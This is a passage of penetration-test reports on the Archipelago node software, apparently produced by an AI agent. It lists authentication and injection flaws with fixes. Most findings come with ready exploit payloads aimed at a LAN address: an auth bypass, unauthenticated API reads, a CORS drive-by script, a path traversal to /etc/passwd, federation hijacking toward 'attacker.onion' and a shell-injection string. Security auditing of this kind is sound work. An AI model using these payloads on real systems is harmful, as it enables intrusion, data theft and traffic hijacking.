- `neode-ui/src/stores/app.ts:12` — `isAuthenticated` based on localStorage
|
||||
- `neode-ui/src/router/index.ts:157-214` — navigation guard
|
||||
- `neode-ui/src/stores/app.ts:190-219` — session validation
|
||||
**Confidence:** HIGH
|
||||
|
||||
Authentication enforcement exists **only** in the Vue.js frontend:
|
||||
1. `app.ts:12` — auth state is `localStorage.getItem('neode-auth') === 'true'`
|
||||
2. `app.ts:196` — session validation calls `server.echo` to "verify" the session
|
||||
3. Since `server.echo` requires no authentication (it's just another unprotected RPC method), session validation **always succeeds** if the backend is reachable
|
||||
|
||||
This creates a circular trust problem: the frontend validates the session by calling an unprotected endpoint, which always succeeds, so `localStorage['neode-auth'] = 'true'` is sufficient to be "authenticated" forever.
|
||||
|
||||
**Evidence:**
|
||||
- Router guard at `index.ts:183-193` — if `localStorage` says authenticated, user proceeds to protected routes, with session check (that always succeeds) running in background
|
||||
- `app.ts:196` — `server.echo` always returns successfully regardless of auth state
|
||||
|
||||
**Suggested exploit:**
|
||||
```javascript
|
||||
// In browser console at http://192.168.1.228/login
|
||||
localStorage.setItem('neode-auth', 'true')
|
||||
window.location.href = '/dashboard'
|
||||
// Full dashboard access without password
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AUTH-006: No-Op Logout Implementation
|
||||
|
||||
**Type:** Session Invalidation Failure
|
||||
**Location:** `POST /rpc/v1` with `method: "auth.logout"`
|
||||
**Source file:** `core/archipelago/src/api/rpc/auth.rs:34-36`
|
||||
**Confidence:** HIGH
|
||||
|
||||
```rust
|
||||
pub(super) async fn handle_auth_logout(&self) -> Result<serde_json::Value> {
|
||||
Ok(serde_json::Value::Null)
|
||||
}
|
||||
```
|
||||
|
||||
The logout handler is a complete no-op. Since no session was ever created (AUTH-001), there is nothing to invalidate. The frontend logout (`app.ts:55-70`) clears localStorage and disconnects the WebSocket, but this is entirely client-side.
|
||||
|
||||
**Evidence:** Three lines of code, returns null immediately.
|
||||
|
||||
**Suggested exploit:** Not applicable — logout has no server-side effect because there is no server-side session.
|
||||
|
||||
---
|
||||
|
||||
## AUTH-007: Unauthenticated WebSocket Access
|
||||
|
||||
**Type:** Missing Authentication on Data Stream
|
||||
**Location:** `GET /ws/db` (WebSocket upgrade)
|
||||
**Source file:** `core/archipelago/src/api/handler.rs:42-44, 190-287`
|
||||
**Confidence:** HIGH
|
||||
|
||||
The WebSocket endpoint at `/ws/db` (`handler.rs:42-43`) accepts connections without any authentication. Upon connection, it immediately sends the full server state dump (`handler.rs:216-223`) including:
|
||||
- Node identity (pubkey, DID)
|
||||
- Tor hidden service address
|
||||
- All installed package states
|
||||
- Server configuration
|
||||
|
||||
Any client on the network receives all state updates in real-time.
|
||||
|
||||
**Evidence:** `handler.rs:42-44` — WebSocket upgrade with no session/token check:
|
||||
```rust
|
||||
if method == Method::GET && path == "/ws/db" {
|
||||
return Self::handle_websocket(req, self.state_manager.clone()).await;
|
||||
}
|
||||
```
|
||||
|
||||
**Suggested exploit:**
|
||||
```javascript
|
||||
const ws = new WebSocket('ws://192.168.1.228/ws/db')
|
||||
ws.onmessage = (e) => console.log(JSON.parse(e.data))
|
||||
// Receives full state dump immediately
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AUTH-008: Unauthenticated P2P Message Injection
|
||||
|
||||
**Type:** Missing Authentication + Missing Input Validation (Spoofing)
|
||||
**Location:** `POST /archipelago/node-message`
|
||||
**Source file:** `core/archipelago/src/api/handler.rs:125-145`, `core/archipelago/src/node_message.rs:26-38`
|
||||
**Confidence:** HIGH
|
||||
|
||||
The P2P message endpoint accepts arbitrary `from_pubkey` and `message` values without:
|
||||
1. Authentication of the sender
|
||||
2. Signature verification (the `from_pubkey` is self-claimed, not cryptographically verified)
|
||||
3. Any access control
|
||||
|
||||
Messages are stored in-memory (`node_message.rs:28-33`) and served to the UI. Spoofed messages are indistinguishable from legitimate ones.
|
||||
|
||||
**Evidence:** `handler.rs:131-137` — deserializes and stores without verification:
|
||||
```rust
|
||||
if let (Some(from), Some(msg)) = (incoming.from_pubkey, incoming.message) {
|
||||
node_msg::store_received(&from, &msg).await;
|
||||
}
|
||||
```
|
||||
|
||||
**Suggested exploit:**
|
||||
```bash
|
||||
curl -X POST http://192.168.1.228/archipelago/node-message \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"from_pubkey":"spoofed_key_123","message":"Fake message from attacker"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AUTH-009: CORS Wildcard on Non-RPC Endpoints
|
||||
|
||||
**Type:** Permissive CORS Policy
|
||||
**Location:** Multiple HTTP endpoints
|
||||
**Source file:** `core/archipelago/src/api/handler.rs:15, 108, 118, 142, 153, 173`
|
||||
**Confidence:** HIGH
|
||||
|
||||
`CORS_ANY = "*"` is applied to these endpoints:
|
||||
- `/api/container/logs` (line 108, 118)
|
||||
- `/archipelago/node-message` (line 142)
|
||||
- `/electrs-status` (line 153)
|
||||
- `/proxy/lnd/*` (line 173)
|
||||
|
||||
This enables drive-by attacks from any website. A malicious webpage could inject P2P messages, read container logs, read electrs sync status, and proxy requests to LND.
|
||||
|
||||
Note: The main `/rpc/v1` endpoint does **not** set CORS headers (`handler.rs:164-168`), so browser-based cross-origin XHR to RPC is blocked. However, this only protects against browser-based attacks — direct curl/script access is unrestricted.
|
||||
|
||||
**Evidence:** `const CORS_ANY: &str = "*";` at `handler.rs:15`.
|
||||
|
||||
**Suggested exploit:**
|
||||
```html
|
||||
<!-- Attacker's webpage, visited by someone on the same network -->
|
||||
<script>
|
||||
// Inject spoofed P2P messages via CORS wildcard
|
||||
fetch('http://192.168.1.228/archipelago/node-message', {
|
||||
method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify({from_pubkey: 'attacker', message: 'phishing message'})
|
||||
})
|
||||
</script>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AUTH-010: Weak Initial Password Policy
|
||||
|
||||
**Type:** Password Policy Enforcement Gap
|
||||
**Location:** Frontend setup flow
|
||||
**Source files:**
|
||||
- `neode-ui/src/views/Login.vue:212` — 8-char minimum for initial setup
|
||||
- `core/archipelago/src/auth.rs:172-190` — 12-char + complexity for password change
|
||||
**Confidence:** MEDIUM
|
||||
|
||||
The initial password setup (Login.vue line 212) requires only 8 characters with no complexity requirements. The password change flow (`auth.rs:172-190`) requires 12+ characters with uppercase, lowercase, digit, and special character. This means the initial password can be significantly weaker than what's required for subsequent changes.
|
||||
|
||||
Note: The `auth.setup` method doesn't actually exist in the backend RPC handler (not in `mod.rs:86-139`), so the setup flow may only work via the mock backend in dev mode. However, `auth.rs:49` (`setup_user`) has no password strength validation either.
|
||||
|
||||
**Evidence:** `Login.vue:212`:
|
||||
```typescript
|
||||
if (password.value.length < 8) { ... }
|
||||
```
|
||||
vs `auth.rs:174`:
|
||||
```rust
|
||||
if password.len() < 12 { anyhow::bail!("Password must be at least 12 characters"); }
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AUTH-011: Unauthenticated LND Proxy (SSRF Vector)
|
||||
|
||||
**Type:** Missing Authorization + Server-Side Request Forgery
|
||||
**Location:** `GET /proxy/lnd/*`
|
||||
**Source file:** `core/archipelago/src/api/handler.rs:158-188`
|
||||
**Confidence:** HIGH
|
||||
|
||||
The LND proxy at `/proxy/lnd/` forwards requests to `http://127.0.0.1:8080` without any authentication. The path suffix is directly concatenated into the URL (`handler.rs:159`):
|
||||
|
||||
```rust
|
||||
let suffix = path.strip_prefix("/proxy/lnd").unwrap_or("/");
|
||||
let url = format!("http://127.0.0.1:8080{}", suffix);
|
||||
```
|
||||
|
||||
This exposes internal LND REST API endpoints to unauthenticated external access, and the path construction could potentially be abused for limited SSRF (though constrained to port 8080).
|
||||
|
||||
**Suggested exploit:**
|
||||
```bash
|
||||
# Access LND REST API without authentication
|
||||
curl http://192.168.1.228/proxy/lnd/v1/getinfo
|
||||
curl http://192.168.1.228/proxy/lnd/v1/balance/channels
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AUTH-012: Unauthenticated Container Log Access
|
||||
|
||||
**Type:** Missing Authorization on Sensitive Data
|
||||
**Location:** `GET /api/container/logs?app_id=*`
|
||||
**Source file:** `core/archipelago/src/api/handler.rs:64-66, 77-123`
|
||||
**Confidence:** HIGH
|
||||
|
||||
Container logs are accessible without authentication via the HTTP GET endpoint. Logs can contain sensitive information (configuration, errors, internal IPs, credentials in error messages).
|
||||
|
||||
**Suggested exploit:**
|
||||
```bash
|
||||
curl "http://192.168.1.228/api/container/logs?app_id=lnd&lines=500"
|
||||
curl "http://192.168.1.228/api/container/logs?app_id=bitcoin&lines=500"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AUTH-013: Disconnected Authentication Infrastructure
|
||||
|
||||
**Type:** Architectural Authentication Gap
|
||||
**Location:** `core/startos/src/middleware/auth.rs` vs `core/archipelago/`
|
||||
**Source files:**
|
||||
- `core/startos/src/middleware/auth.rs:1-285` — complete auth middleware (unused)
|
||||
- `core/startos/src/middleware/mod.rs` — middleware module (unused)
|
||||
**Confidence:** HIGH (informational)
|
||||
|
||||
A complete authentication middleware exists in the `startos` crate including:
|
||||
- Session token validation via SHA-256 hashed cookies (`auth.rs:65-92`)
|
||||
- Session creation with database persistence (`auth.rs:44-57`)
|
||||
- Rate limiting: 3 login attempts per 20 seconds (`auth.rs:240-256`)
|
||||
- `HasValidSession` guard pattern (`auth.rs:62`)
|
||||
|
||||
The archipelago backend binary **does not import or use** any of this middleware. The RPC handler was built from scratch without plugging into the existing auth infrastructure.
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
| ID | Type | Endpoint | Confidence | Severity |
|
||||
|----|------|----------|------------|----------|
|
||||
| AUTH-001 | No session management | `/rpc/v1` (auth.login) | HIGH | CRITICAL |
|
||||
| AUTH-002 | No auth on 30+ endpoints | `/rpc/v1` (all methods) | HIGH | CRITICAL |
|
||||
| AUTH-003 | No brute force protection | `/rpc/v1` (auth.login) | HIGH | HIGH |
|
||||
| AUTH-004 | Default credentials | `/rpc/v1` (auth.login) | HIGH | HIGH |
|
||||
| AUTH-005 | Client-side auth only | Frontend router/localStorage | HIGH | CRITICAL |
|
||||
| AUTH-006 | No-op logout | `/rpc/v1` (auth.logout) | HIGH | MEDIUM |
|
||||
| AUTH-007 | Unauth WebSocket | `/ws/db` | HIGH | HIGH |
|
||||
| AUTH-008 | Unauth message injection | `/archipelago/node-message` | HIGH | HIGH |
|
||||
| AUTH-009 | CORS wildcard | Multiple non-RPC endpoints | HIGH | HIGH |
|
||||
| AUTH-010 | Weak initial password | Frontend setup flow | MEDIUM | MEDIUM |
|
||||
| AUTH-011 | Unauth LND proxy | `/proxy/lnd/*` | HIGH | HIGH |
|
||||
| AUTH-012 | Unauth container logs | `/api/container/logs` | HIGH | MEDIUM |
|
||||
| AUTH-013 | Disconnected auth infra | Architectural (informational) | HIGH | INFO |
|
||||
|
||||
The root cause is **AUTH-001**: the login flow verifies passwords but creates no session, and no middleware exists to check sessions on subsequent requests. All other findings flow from this architectural gap. The fix is to wire session creation into `auth.login`, add session cookies to responses, and add middleware before the RPC dispatch at `handler.rs:55` that validates session cookies on all non-public methods.
|
||||
|
||||
```json
|
||||
{
|
||||
"category": "auth",
|
||||
"findings": [
|
||||
{
|
||||
"id": "AUTH-001",
|
||||
"type": "missing_session_management",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "method=auth.login",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}' — observe null response with no Set-Cookie header"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-002",
|
||||
"type": "missing_authorization",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "method=package.install|node.signChallenge|container-install|node.createBackup|...",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"node.did\",\"params\":{}}' — returns node identity without auth"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-003",
|
||||
"type": "brute_force_no_protection",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "method=auth.login, password",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "Automated password spray against auth.login with no lockout or rate limit — bcrypt provides ~100ms delay per attempt"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-004",
|
||||
"type": "default_credentials",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "method=auth.login, password=password123",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-005",
|
||||
"type": "client_side_auth_bypass",
|
||||
"endpoint": "/dashboard",
|
||||
"parameter": "localStorage['neode-auth']",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "In browser console: localStorage.setItem('neode-auth','true'); location.href='/dashboard' — full UI access without login"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-006",
|
||||
"type": "session_invalidation_failure",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "method=auth.logout",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "Logout is a no-op returning null — no server-side session to invalidate"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-007",
|
||||
"type": "unauthenticated_websocket",
|
||||
"endpoint": "/ws/db",
|
||||
"parameter": "N/A",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "wscat -c ws://192.168.1.228/ws/db — receives full server state dump including node identity, Tor address, and all package states"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-008",
|
||||
"type": "message_spoofing",
|
||||
"endpoint": "/archipelago/node-message",
|
||||
"parameter": "from_pubkey, message",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"spoofed\",\"message\":\"injected\"}'"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-009",
|
||||
"type": "cors_wildcard",
|
||||
"endpoint": "/archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*",
|
||||
"parameter": "Access-Control-Allow-Origin: *",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "Drive-by attack from malicious webpage: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', ...}) — succeeds cross-origin"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-010",
|
||||
"type": "weak_password_policy",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "method=auth.setup (frontend only), password",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "Initial setup accepts 8-char passwords without complexity; change requires 12+ with complexity"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-011",
|
||||
"type": "unauthenticated_ssrf_proxy",
|
||||
"endpoint": "/proxy/lnd/*",
|
||||
"parameter": "path suffix",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "curl http://192.168.1.228/proxy/lnd/v1/getinfo — accesses LND REST API without authentication"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-012",
|
||||
"type": "unauthenticated_data_access",
|
||||
"endpoint": "/api/container/logs",
|
||||
"parameter": "app_id, lines",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "curl 'http://192.168.1.228/api/container/logs?app_id=lnd&lines=500' — reads container logs without auth"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-013",
|
||||
"type": "disconnected_auth_infrastructure",
|
||||
"endpoint": "N/A (architectural)",
|
||||
"parameter": "core/startos/src/middleware/auth.rs not wired to core/archipelago/",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "Informational: auth middleware exists in startos crate but is not imported by the archipelago binary"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Full report written to `loop/pentest/analysis/auth.md`.
|
||||
@@ -1,15 +1,307 @@
|
||||
## Summary
|
||||
Now I have all the data I need. Let me write the complete injection vulnerability analysis.
|
||||
|
||||
Found **7 injection vulnerabilities** across the active Archipelago backend:
|
||||
---
|
||||
|
||||
| ID | Severity | Type | Key Risk |
|
||||
|----|----------|------|----------|
|
||||
| INJ-001 | **Critical** | Arbitrary File Read | `container-install` reads any file path as root |
|
||||
| INJ-002 | **Critical** | Path Traversal → `rm -rf` | `package.uninstall` deletes arbitrary directories via `../` in `id` |
|
||||
| INJ-003 | **Critical** | Arbitrary Volume Mount | `bundled-app-start` mounts any host path into attacker container |
|
||||
| INJ-006 | **High** | Arbitrary Container Execution | `package.install` pulls/runs any Docker image from any registry |
|
||||
| INJ-004 | **Medium** | SSRF / Unrestricted API Proxy | `/proxy/lnd/*` forwards to LND REST API without auth |
|
||||
| INJ-005 | **Medium** | Argument Injection | Unsanitized `app_id`/`package_id` passed to podman commands |
|
||||
| INJ-007 | **Low** | Log Injection | Unauthenticated P2P endpoint stores arbitrary content |
|
||||
# Injection Vulnerability Analysis — Archipelago
|
||||
|
||||
**Root cause**: All these share a common pattern — user-controlled input from unauthenticated RPC calls flows directly into privileged operations (file I/O, process execution, container orchestration) without validation or sanitization. The most impactful fix would be wiring authentication middleware into the HTTP handler, followed by input validation on all `app_id`, `package_id`, `manifest_path`, and `volumes` parameters.
|
||||
## Methodology
|
||||
|
||||
Traced all user-controlled inputs from RPC handlers, HTTP endpoints, and unauthenticated federation methods through to:
|
||||
- File system operations (`Path::join`, `fs::read`, `fs::write`)
|
||||
- Shell command execution (`Command::new("sh").arg("-c")`, `format!` into `--health-cmd`)
|
||||
- Data store writes (JSON catalog, federation nodes)
|
||||
|
||||
Examined ~150 RPC methods, all HTTP routes in `handler.rs`, nginx proxy configs, and the Vite dev proxy.
|
||||
|
||||
## Findings
|
||||
|
||||
---
|
||||
|
||||
### INJ-001: Path Traversal via Content Filename
|
||||
|
||||
**Type**: Path Traversal
|
||||
**Location**: RPC method `content.add`, parameter `filename`
|
||||
**Source file**: `core/archipelago/src/api/rpc/content.rs:24-49` + `core/archipelago/src/content_server.rs:94-112`
|
||||
**Confidence**: **high**
|
||||
|
||||
**Evidence**: The `handle_content_add` handler accepts an arbitrary `filename` string from user params with zero validation:
|
||||
|
||||
```rust
|
||||
// content.rs:24-27
|
||||
let filename = params.get("filename").and_then(|v| v.as_str())
|
||||
.ok_or_else(|| anyhow::anyhow!("Missing filename"))?;
|
||||
```
|
||||
|
||||
This filename is stored in the catalog and later used in `content_file_path()`:
|
||||
|
||||
```rust
|
||||
// content_server.rs:96
|
||||
let clean_name = item.filename.trim_start_matches('/');
|
||||
let primary = data_dir.join(CONTENT_DIR).join(clean_name); // No .. check!
|
||||
```
|
||||
|
||||
`trim_start_matches('/')` strips leading slashes but does NOT strip `..` sequences. A filename like `../../etc/shadow` resolves to `{data_dir}/content/files/../../etc/shadow` → `/var/lib/archipelago/content/../../etc/shadow` → `/var/lib/etc/shadow` (or deeper traversals reach `/etc/shadow`).
|
||||
|
||||
When a peer later requests `/content/{uuid}`, `serve_content()` looks up the item by UUID (safely validated) but then calls `content_file_path()` with the attacker-controlled filename, serving arbitrary files.
|
||||
|
||||
**Requires**: Authentication (content.add is not in UNAUTHENTICATED_METHODS). But once added, content is served to unauthenticated peers.
|
||||
|
||||
**Suggested exploit**:
|
||||
```json
|
||||
{"method": "content.add", "params": {"filename": "../../../etc/passwd", "mime_type": "text/plain"}}
|
||||
```
|
||||
Then: `GET /content/{returned-uuid}` serves `/etc/passwd`.
|
||||
|
||||
---
|
||||
|
||||
### INJ-002: Path Traversal via Backup USB Mount Point
|
||||
|
||||
**Type**: Path Traversal
|
||||
**Location**: RPC method `backup.to-usb`, parameter `mount_point`
|
||||
**Source file**: `core/archipelago/src/api/rpc/backup_rpc.rs:137-149` + `core/archipelago/src/backup/full.rs:324-338`
|
||||
**Confidence**: **medium**
|
||||
|
||||
**Evidence**: The `handle_backup_to_usb` handler takes `mount_point` directly from user params and passes it to `backup_to_usb()`:
|
||||
|
||||
```rust
|
||||
// backup_rpc.rs:145-149
|
||||
let mount_point = params["mount_point"].as_str()
|
||||
.ok_or_else(|| anyhow::anyhow!("Missing 'mount_point' parameter"))?;
|
||||
let dest = full::backup_to_usb(&self.config.data_dir, id, mount_point).await?;
|
||||
```
|
||||
|
||||
In `backup_to_usb()`:
|
||||
```rust
|
||||
// full.rs:334-337
|
||||
let mount_path = Path::new(mount_point);
|
||||
if !mount_path.exists() || !mount_path.is_dir() {
|
||||
anyhow::bail!("Mount point not accessible");
|
||||
}
|
||||
let dest_dir = mount_path.join("archipelago-backups");
|
||||
fs::create_dir_all(&dest_dir).await?;
|
||||
```
|
||||
|
||||
No canonicalization, no boundary check. An attacker can write backup files to any writable directory on the filesystem. While the write goes into a subdirectory `archipelago-backups/`, it still creates directories and writes encrypted backup blobs to arbitrary locations.
|
||||
|
||||
**Requires**: Authentication.
|
||||
|
||||
**Suggested exploit**:
|
||||
```json
|
||||
{"method": "backup.to-usb", "params": {"id": "existing-backup-id", "mount_point": "/tmp"}}
|
||||
```
|
||||
Creates `/tmp/archipelago-backups/` and writes backup there.
|
||||
|
||||
---
|
||||
|
||||
### INJ-003: Unauthenticated Federation Node Injection (No DID Validation)
|
||||
|
||||
**Type**: Data Injection / Authentication Bypass
|
||||
**Location**: RPC method `federation.peer-joined` (UNAUTHENTICATED), parameters `did`, `onion`, `pubkey`
|
||||
**Source file**: `core/archipelago/src/api/rpc/federation.rs:336-374`
|
||||
**Confidence**: **high**
|
||||
|
||||
**Evidence**: This method is in `UNAUTHENTICATED_METHODS` (no session required) and accepts arbitrary peer data with NO signature verification and NO `validate_did()` call:
|
||||
|
||||
```rust
|
||||
// federation.rs:340-370
|
||||
let did = params.get("did").and_then(|v| v.as_str())...;
|
||||
let onion = params.get("onion").and_then(|v| v.as_str())...;
|
||||
let pubkey = params.get("pubkey").and_then(|v| v.as_str())...;
|
||||
// NO validate_did(did)? call here!
|
||||
// NO signature verification!
|
||||
let node = FederatedNode {
|
||||
did: did.to_string(),
|
||||
trust_level: TrustLevel::Trusted, // Auto-trusted!
|
||||
...
|
||||
};
|
||||
federation::add_node(&self.config.data_dir, node).await?;
|
||||
```
|
||||
|
||||
Compare with other federation methods that DO call `validate_did()`. This method doesn't, AND it sets `TrustLevel::Trusted` automatically. An attacker on the LAN can inject arbitrary trusted peers. The injected DID could contain path traversal characters since `validate_did()` is never called.
|
||||
|
||||
**Suggested exploit**:
|
||||
```bash
|
||||
curl -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"federation.peer-joined","params":{"did":"did:key:z6MkATTACKER","onion":"attacker.onion","pubkey":"deadbeef"}}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### INJ-004: Unauthenticated Federation Address Hijacking
|
||||
|
||||
**Type**: Data Injection
|
||||
**Location**: RPC method `federation.peer-address-changed` (UNAUTHENTICATED), parameters `did`, `new_onion`
|
||||
**Source file**: `core/archipelago/src/api/rpc/federation.rs:426-464`
|
||||
**Confidence**: **high**
|
||||
|
||||
**Evidence**: Unauthenticated method that updates any known peer's onion address without proof of ownership:
|
||||
|
||||
```rust
|
||||
// federation.rs:431-448
|
||||
let did = params.get("did")...;
|
||||
let new_onion = params.get("new_onion")...;
|
||||
let found = nodes.iter_mut().find(|n| n.did == did);
|
||||
node.onion = new_onion.to_string(); // No signature check!
|
||||
```
|
||||
|
||||
Combined with INJ-003, an attacker can: (1) discover peer DIDs via `federation.get-state` (also unauthenticated), (2) change any peer's address to their own, redirecting federation traffic.
|
||||
|
||||
**Suggested exploit**:
|
||||
```bash
|
||||
# Step 1: Get known peer DIDs
|
||||
curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.get-state"}'
|
||||
# Step 2: Redirect peer traffic
|
||||
curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.peer-address-changed","params":{"did":"did:key:z6Mk...","new_onion":"attacker.onion"}}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### INJ-005: Shell Injection via Health Check Command (RPC Password)
|
||||
|
||||
**Type**: Command Injection
|
||||
**Location**: `get_health_check_args()` → `--health-cmd` podman arg
|
||||
**Source file**: `core/archipelago/src/api/rpc/package.rs:1323-1324`
|
||||
**Confidence**: **low**
|
||||
|
||||
**Evidence**: The Bitcoin RPC password is interpolated into a shell command string:
|
||||
|
||||
```rust
|
||||
let btc_health = format!(
|
||||
"bitcoin-cli -rpcuser=archipelago -rpcpassword={} getblockchaininfo || exit 1",
|
||||
rpc_pass
|
||||
);
|
||||
```
|
||||
|
||||
This becomes `--health-cmd=...` passed to `podman run`. If `rpc_pass` contains shell metacharacters (`$()`, backticks, `;`, `|`), arbitrary commands execute inside the Bitcoin container during health checks.
|
||||
|
||||
The password comes from `/var/lib/archipelago/secrets/bitcoin-rpc-password` or `BITCOIN_RPC_PASSWORD` env var — not directly from RPC input. Exploitation requires either: (a) writing to the secrets file, or (b) controlling the environment variable. The command runs inside the container, not on the host.
|
||||
|
||||
**Suggested exploit**: If you can write to the secrets file:
|
||||
```
|
||||
echo '$(touch /tmp/pwned)' > /var/lib/archipelago/secrets/bitcoin-rpc-password
|
||||
```
|
||||
Then install/restart the bitcoin container.
|
||||
|
||||
---
|
||||
|
||||
### INJ-006: Exec Health Check Command Injection via Manifest
|
||||
|
||||
**Type**: Command Injection
|
||||
**Location**: `check_exec_health()` → `podman exec sh -c {endpoint}`
|
||||
**Source file**: `core/container/src/health_monitor.rs:75-90`
|
||||
**Confidence**: **low**
|
||||
|
||||
**Evidence**: The health check endpoint string is passed directly to `sh -c` inside a container:
|
||||
|
||||
```rust
|
||||
let output = Command::new("podman")
|
||||
.arg("exec").arg(&self.container_name)
|
||||
.arg("sh").arg("-c").arg(endpoint) // Unvalidated
|
||||
.output().await;
|
||||
```
|
||||
|
||||
The `endpoint` comes from `HealthCheck` struct, which is populated from app manifests. If an attacker can modify a manifest file or if the manifest system accepts user-uploaded manifests, this becomes exploitable. Currently, manifests come from validated local files with `canonicalize()` + boundary checks on the path, so exploitation is unlikely.
|
||||
|
||||
---
|
||||
|
||||
### INJ-007: Parmanode Script Content Injection
|
||||
|
||||
**Type**: Command Injection (indirect)
|
||||
**Location**: `ParmanodeScriptRunner::run_script()`
|
||||
**Source file**: `core/parmanode/src/script_runner.rs:54-88`
|
||||
**Confidence**: **low**
|
||||
|
||||
**Evidence**: Script file content is read and embedded verbatim into a shell wrapper:
|
||||
|
||||
```rust
|
||||
let script_content = fs::read_to_string(script_path).await?;
|
||||
let wrapper_script = format!("#!/bin/sh\nset -e\n{}\n", script_content);
|
||||
```
|
||||
|
||||
Then written to `/tmp/parmanode-{name}.sh` and executed in an Alpine container. The temp file path uses `script_name` (derived from `file_stem()`) which could contain shell metacharacters in the filename. However, the script_path is derived from `module_path.join("install.sh")`, which is locally controlled.
|
||||
|
||||
Additionally, `/tmp` is world-writable — a TOCTOU race condition could replace the temp file between write and execution.
|
||||
|
||||
---
|
||||
|
||||
## Non-Findings (Verified Secure)
|
||||
|
||||
| Area | Status | Details |
|
||||
|------|--------|---------|
|
||||
| **SQL Injection** | N/A | No SQL database; all storage is JSON files via serde |
|
||||
| **SSTI** | N/A | No template engines (no tera, handlebars, askama); backend returns pure JSON |
|
||||
| **App ID injection** | Secure | `validate_app_id()` enforces `[a-z0-9-]` whitelist, max 64 chars |
|
||||
| **Docker image injection** | Secure | `is_valid_docker_image()` rejects shell metacharacters + registry whitelist |
|
||||
| **Container manifest path** | Secure | `..` check + `canonicalize()` + boundary check to `apps_dir` |
|
||||
| **Backup ID traversal** | Secure | Validates against `/`, `\`, `..`, `\0`, max 128 chars |
|
||||
| **Content serving URL** | Secure | `content_id` validated via `is_valid_app_id()` before catalog lookup |
|
||||
| **Nginx path routing** | Secure | All proxy routes are fixed localhost ports, no dynamic path construction |
|
||||
|
||||
---
|
||||
|
||||
## Exploitation Queue
|
||||
|
||||
```json
|
||||
{
|
||||
"category": "injection",
|
||||
"findings": [
|
||||
{
|
||||
"id": "INJ-001",
|
||||
"type": "path_traversal",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "filename (in content.add method)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "{\"method\":\"content.add\",\"params\":{\"filename\":\"../../../etc/passwd\",\"mime_type\":\"text/plain\"}}"
|
||||
},
|
||||
{
|
||||
"id": "INJ-002",
|
||||
"type": "path_traversal",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "mount_point (in backup.to-usb method)",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "{\"method\":\"backup.to-usb\",\"params\":{\"id\":\"test\",\"mount_point\":\"/tmp\"}}"
|
||||
},
|
||||
{
|
||||
"id": "INJ-003",
|
||||
"type": "data_injection_unauth",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "did, onion, pubkey (in federation.peer-joined)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "{\"method\":\"federation.peer-joined\",\"params\":{\"did\":\"did:key:z6MkATTACKER\",\"onion\":\"evil.onion\",\"pubkey\":\"deadbeef\"}}"
|
||||
},
|
||||
{
|
||||
"id": "INJ-004",
|
||||
"type": "data_injection_unauth",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "did, new_onion (in federation.peer-address-changed)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "{\"method\":\"federation.peer-address-changed\",\"params\":{\"did\":\"did:key:KNOWN_PEER_DID\",\"new_onion\":\"attacker.onion\"}}"
|
||||
},
|
||||
{
|
||||
"id": "INJ-005",
|
||||
